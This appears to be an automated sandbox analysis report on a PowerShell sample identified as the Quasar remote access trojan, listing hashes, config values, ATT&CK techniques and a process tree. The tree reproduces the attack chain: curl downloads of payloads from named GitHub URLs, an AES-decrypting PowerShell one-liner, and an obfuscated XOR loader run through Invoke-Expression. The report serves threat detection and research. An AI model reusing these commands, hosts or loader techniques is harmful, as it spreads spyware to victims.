quasar | a08cdda2d228917af29c34912fe516cc68f280c730158147832b1c9d83e2b703

Analysis

max time kernel
150s
max time network
121s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/04/2026, 01:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
P0QXDWMcGsKAm.ps1
Size 1KB
Sample260423-b129esfx4v
SHA256 a08cdda2d228917af29c34912fe516cc68f280c730158147832b1c9d83e2b703
MD5 22677ba9523d4c1e4ccd1ce31cc2c2d0
SHA1 be5b4acace2b75a20de1643d59fcdcc2557e0a9a
SHA512 f7b2e56e7790c8b72a58d5760aa7055d7c04ae4910f35556660404b21cf73946bfdf3bef48d5bfdda8677daf8f33cee25c17e5637cca50541162e3e9cb9a39e9
TLSH
T1ED41E6D90F44A5B809C246A3A17BCA608314D7B8313E7CE0BBC4C381E1092CF83AE4CA
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution quasar spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

encryption_key
AFA3CAD4ED1D6F9700536DD60F51307FFEA2892B
key_salt
5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382
reconnect_delay
3000

Signatures

Family: Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral1/memory/2576-53-0x000001A3DE2A0000-0x000001A3DE394000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2576	powershell.exe
4952	powershell.exe
5700	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1609746302-1884177235-1125644204-1000\Control Panel\International\Geo\Nation	wscript.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com
29	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2576	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4952	powershell.exe
4952	powershell.exe
5700	powershell.exe
5700	powershell.exe
2576	powershell.exe
2576	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	5700	powershell.exe
Token: SeDebugPrivilege	2576	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4952 wrote to memory of 3752	4952	powershell.exe	86
PID 3752 wrote to memory of 5564	3752	cmd.exe	88
PID 5564 wrote to memory of 4088	5564	wscript.exe	89
PID 5564 wrote to memory of 3616	5564	wscript.exe	92
PID 3616 wrote to memory of 5700	3616	mshta.exe	93
PID 3616 wrote to memory of 5744	3616	mshta.exe	95
PID 3616 wrote to memory of 5328	3616	mshta.exe	99
PID 5328 wrote to memory of 4984	5328	wscript.exe	100
PID 4984 wrote to memory of 2576	4984	cmd.exe	102

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\P0QXDWMcGsKAm.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wscript //nologo C:\Users\Admin\AppData\Local\Temp\bDci2sip.vbs
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3752
- - C:\Windows\system32\wscript.exe
    wscript //nologo C:\Users\Admin\AppData\Local\Temp\bDci2sip.vbs
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:5564
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -s -L -o "C:\Users\Admin\AppData\Local\Temp\MG6UIMA6.hta" "https://raw.githubusercontent.com/demarcusnofatherington420-a11y/binary/refs/heads/main/WindowsSecurityService.hta"
      4⤵
      PID:4088
  - - C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\MG6UIMA6.hta"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:3616
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$k=[byte[]]@(99,246,35,57,225,191,172,113,162,36,106,138,190,38,103,160);$i=[byte[]]@(239,233,122,87,244,10,75,31,99,213,39,238,27,145,171,126);$c=[Convert]::FromBase64String('ouFMpI77phfguzpdogAXrnAn5PE8r8hMqJO/bOAfZ3UfgoWVNWgFicVY9RxKe/NeLwAAPZUL0KzV2WTJZygLYMeF6y/vuExl8HaLgfcD+du9polg7fEIVu+Dw37lNk3ApXUMLu35l+ji20qtVvQ/DYsKZxn8D5IgiAu0V0JjLBk4QKxg9HSxyH+s4kdIoETkhwTwQ94pEdUNgp4Vd95bGXbOuWJKkE8d6bmtYi2qpjMKzVzEkDMZQu8JihehYHa/xY/1kFvh0diHnjguxgFOmfdxJujuGtJYFUZwYs/hp5RYI9vX14GucP6vQF+zqpF6aQm+aLv5ybZhOLkZnopdV1F0H2Uhfd7PI0UnoQeSTTjgO04vyLrWee6ytODWD1k117X/z8oq/6TDuAPBi6F/OpwSj8GYzGYlJS8SWCNV+xHX0w/owsMd7hLXnNBq8Tur5QB/cedjE91SBa0W6BF1w2qBGyABlmlrwlQI7NyGHq8TbgnvEAciqh55oHGqUz+GEekkHaCuxSI/H/wos0DRx+q9in3AA0KWo2yERCUgqE7nzuWSDzBEPJlA8dxQj9haa6Pq7hud2LKeScPcXnaA5oaekOy3iC5hiAg9H7U6/mY0rfkhdFUB2kq8PMOF3AFjeyZ3Z6BZHbielCPPClE5wg6LFQ42s7i6jljrRQVpabgjX1fBm5fMebH4DzJ3MKFwJU5ctew8TCZ5ZiZPF+s3H5OcuDO5tFSN8njAek7MLA6gfJgVSG724IHbpZ9AN1bKnGnL0NBQ5rfif0UC945Cs2UvYid12FVZYMpwNafCeBJSTQ/P3sWE91Ie7UiXOJ/NrHvjpzMniYiwKF3jzOWXMxG6gSWpCtN0ZXNhf13Z/d6Vd1u2Ur9VvKVQJQRhi54L0VkV3eYljZnnExHbLSjRWXYFzfPEL2UZlp3iRslXq1rytBbMhmeAep5AZqKibjPSbKUFz/+NCrnReokxgSD0emaNxnnHwdwAvguchcoREjsR0d1+vtqov/sjzsk/+C3RBR9R1XNlmVxDmkjca2RJUP1NRi0vz2UFT/bZkyn4xka0WtvWUnj5xrbzTOH6wD5OBU7vc02jrmAzp5eiVvfdv/cjhOVI9E/2zR7Gdo6/EfZmidtqRBTj813UgnSXemXtjSa9tJZlXOT6zEdcEghBYfuUz+bQD6OqOrhX96aLMG/o6PPzFG5DhUilE6XKLdgkHUgJiH7pP1F1wAQ5BHxxFqYRfczolkemnZ11738hTtoW9pEdZdTAsn14Woh1Un00jvyYhNwf/wGljhXnsrSaD5ZYlXXgBnuJLwuhzFd6ZFHflRCLQvux47AZ3y8t6GzZn6fGCoyLaD1OwNUkan8AKqnPJMBz8MQF9OcLI0AcSnODphLvUPGWr6KpxZ5QHV+2CXum29Zcg1C+wSkSMxHeEAO6RQ1ssUgC8fZC/BPJLOjqujxLUxhGwogEF9Ft/ai8X2cxF3wLq9PqXnRI681ubjt7+9f1WhBCWs8GBBye9WF+Nl/m7173SW/99CObwFIjEvEGjJtXqbrxcwXmMtWftvKN/KioLuHYwykbhB/0Lqx/cxHfseMCLfYyHqfCsj4EE44Yo74H7AE5AGaRbFbmHJAp0MlCGUENhElYCdjQtlNTTybPVyN9qhVYrUMAQaRpntpIkRdH1JA8j48jX/evh1uABV+Ljegngr9G0y9jnJhsI+8dkEd7Co7brlyTmCgDDDQEMcdiLOar919VBEecMiwgOJsbWGImFvkjsyXsSKoq1GTC6JnuqOmOazALV9wmUtqJeLrcBQVoH/imJSxBgQ==');$a=New-Object Security.Cryptography.AesCryptoServiceProvider;$a.Key=$k;$a.IV=$i;$a.Mode='CBC';$a.Padding='PKCS7';$d=$a.CreateDecryptor();$p=$d.TransformFinalBlock($c,0,$c.Length);[Console]::OutputEncoding=[Text.Encoding]::UTF8;Write-Host ([Text.Encoding]::UTF8.GetString($p));"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5700
    - - C:\Windows\System32\curl.exe
        
        "C:\Windows\System32\curl.exe" -s -L -o "C:\Users\Admin\AppData\Local\Temp\svchost32.bat" "https://github.com/demarcusnofatherington420-a11y/vbs-hta-vbs-bat/raw/refs/heads/main/ya.bat"
        5⤵
        
        PID:5744
    - - C:\Windows\System32\wscript.exe
        
        "C:\Windows\System32\wscript.exe" //nologo "C:\Users\Admin\AppData\Local\Temp\launch32.vbs"
        5⤵
        Checks computer location settings
        Suspicious use of WriteProcessMemory
        
        PID:5328
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\svchost32.bat" "
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4984
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:IdhmBSKvPL;$path = $path.Trim();$path = $path.Substring(1, $path.Length - 2);Write-Host $path;$_1 = Get-Content -Path $path;$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name 'oJCTcuyeXV' -Value $_4;$_4 | Invoke-Expression"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: AddClipboardFormatListener
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2576

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
TLSH
T1BF610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d1c62180f4a9e5ffd0261a65e993e4f5388e5acf5b366248e84659097d6f6765
MD5 539d7dc0636a69317303948945571c5e
SHA1 032a9c682a06ba97cdede81232431da2acff65a0
SHA512 c676eff4f7b0b5d008347371703b326d6bc58a12760fcbc3b13f45e3fb39c2493c24e900cded0cf6714b49493e7db218ac2b8752b9e86d8ae52b00b80aff89eb
TLSH
T17C218627B39CC921CC86123A109D9C1172B283C781AEDF9F6BC0D600A07F998CB21294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 16a4484ff94286c41b4ce9341813b5b16526e4678f5238c2431d293b9e7c948f
MD5 f47739c4bca1566411cf237b51446872
SHA1 8207cfce4199ee9c05815e4356af5cdb6d36eb7f
SHA512 2bec2c58d5b1ad7c136ea9b25406620830f73a3c54d97d6e87d75ee1eaabac1442fd3158fc80aa93dcf2bca1fae05b5d89df916b738db902be3a67f87967f672
TLSH
T196117633B39C8A21CC96163A409DAC1172B683C781AEDE9F7BC0D215A0BF585CB721A0
MD5 SHA1 SHA512 TLSH

Submit Download

MG6UIMA6.hta

Path C:\Users\Admin\AppData\Local\Temp\MG6UIMA6.hta
Size 24KB
SHA256 100f0ffd73a011ade58e81ed08f79c59a3ed986101be94ca2718f3a4e84556b0
MD5 fd598a723a8fb1c5ab7b1a58db5fbd74
SHA1 cb8392a89735a7c70581f5f14302ce05016edc7b
SHA512 d8c6ec7f15629fd1c2961ae73892fe6df69a5dffb527699ea1473af15dbd030005caae8c4dc55719a6712d6fc27818fe0ba38c82e82972236f2656defd3f70c9
SSDEEP 384:oy2unDdtFVkGFk5CftjmFBs/RecofBp+I65IvLmO0AZJgTchh9firgZXX0GCfira:oS
TLSH
T179B26C2C09BDFA5D93D9E217EA95F3236D4A5CAFC2B975132AF34C6960024C045EB4C7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_uldvcd15.isd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uldvcd15.isd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

bDci2sip.vbs

Path C:\Users\Admin\AppData\Local\Temp\bDci2sip.vbs
Size 737B
SHA256 6a3ca2af5a54ddb0c63182cc25ac4f9a4542be30cf7d9c11173b755e467fb39e
MD5 89174bb2891502cab841d97e2d29cf03
SHA1 f5925d2b155b5ee1854cc17d16b10db618903658
SHA512 1a406ec2825054f85415346c12649119b9693e29769334befa08d3fbedb24d6c7c2d305ad33506d5e93ac0edd2f677a68f5220431ba373aa28dba84176e0d35c
TLSH
T11601970EE53CF2321561C462ABE92C2D3C90889BF824F8ED63B844284196B3216CA4DB
MD5 SHA1 SHA512 TLSH

Submit Download

launch32.vbs

Path C:\Users\Admin\AppData\Local\Temp\launch32.vbs
Size 125B
SHA256 fe0b3f33708d8b50dbeb91d7c3e876ce37fb5257048b9a593d7b0287ce5a2c4c
MD5 be934a7e9e9e8e559a1709362df18ce7
SHA1 85b0896f6eb8f1544cd064bb45cf70c816967f86
SHA512 3c531c27d075189538e55a0bcd43bfc10f5bf154e68301e7e4674a322e17ce0646bfc8bd4f675c0bd25cb2883fd98167ea7811e343b842da3456107208642c4b
TLSH
T192B0228BB088C23A0880A8A302F2080CC0B088A82222AA3B0E00E80C22A880C830A002
MD5 SHA1 SHA512 TLSH

Submit Download

svchost32.bat

Path C:\Users\Admin\AppData\Local\Temp\svchost32.bat
Size 4.1MB
SHA256 549f9fed39593ad71da295a4a37c2399d80768f875c2c7ec1092a992894a5668
MD5 49d264bdc02f0e13fb5d626557cbdbf6
SHA1 be79a8eef7c6ea33b0ae08d862d6d945c7e5b0a8
SHA512 9bd8bca62c035cbae8d2483e91e6a217edfff9f4df8e0ef3af57d81c15970bc37510072d46d15b596b3ddce1fd8fe5a3c82933d3ce77e84b2cd93529c7bea856
SSDEEP 49152:lJ4gJFxW/FT2kbPwsSIvotfesFSSsB9fmbJ/N+OuBVmYxh0qn5+7ioeZzpoFzr1:D
TLSH
T1B11602484DBBB2061FCDDB45F39BFFDFB85262A2F941122470AA5DC933A12561C6D0B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2576-56-0x000001A3DE670000-0x000001A3DE6A8000-memory.dmp

Download

memory/2576-54-0x000001A3DDE10000-0x000001A3DDE44000-memory.dmp

Download

memory/2576-58-0x000001A3C3B70000-0x000001A3C3B7C000-memory.dmp

Download

memory/2576-60-0x000001A3DDD90000-0x000001A3DDD98000-memory.dmp

Download

memory/2576-59-0x000001A3DDA00000-0x000001A3DDA6B000-memory.dmp

Download

memory/2576-53-0x000001A3DE2A0000-0x000001A3DE394000-memory.dmp

Download

memory/2576-52-0x00007FF8599B0000-0x00007FF859A6E000-memory.dmp

Download

memory/2576-51-0x00007FF85AE30000-0x00007FF85B025000-memory.dmp

Download

memory/2576-50-0x000001A3DDEB0000-0x000001A3DDFE0000-memory.dmp

Download

memory/3616-35-0x0000019FAACE0000-0x0000019FAAD4B000-memory.dmp

Download

memory/4952-1-0x000001A57A400000-0x000001A57A410000-memory.dmp

Download

memory/4952-15-0x000001A57A6E0000-0x000001A57A74B000-memory.dmp

Download

memory/4952-14-0x000001A5786A0000-0x000001A5786AC000-memory.dmp

Download

memory/4952-9-0x000001A57A5B0000-0x000001A57A5D2000-memory.dmp

Download

memory/4952-0-0x000001A57A400000-0x000001A57A410000-memory.dmp

Download

memory/5328-57-0x00000212E01D0000-0x00000212E01DC000-memory.dmp

Download

memory/5564-16-0x0000018A519A0000-0x0000018A519AC000-memory.dmp

Download

memory/5700-31-0x000001DEFB2C0000-0x000001DEFB2CC000-memory.dmp

Download

memory/5700-33-0x000001DEFB590000-0x000001DEFB598000-memory.dmp

Download

memory/5700-32-0x000001DEFB6D0000-0x000001DEFB73B000-memory.dmp

Download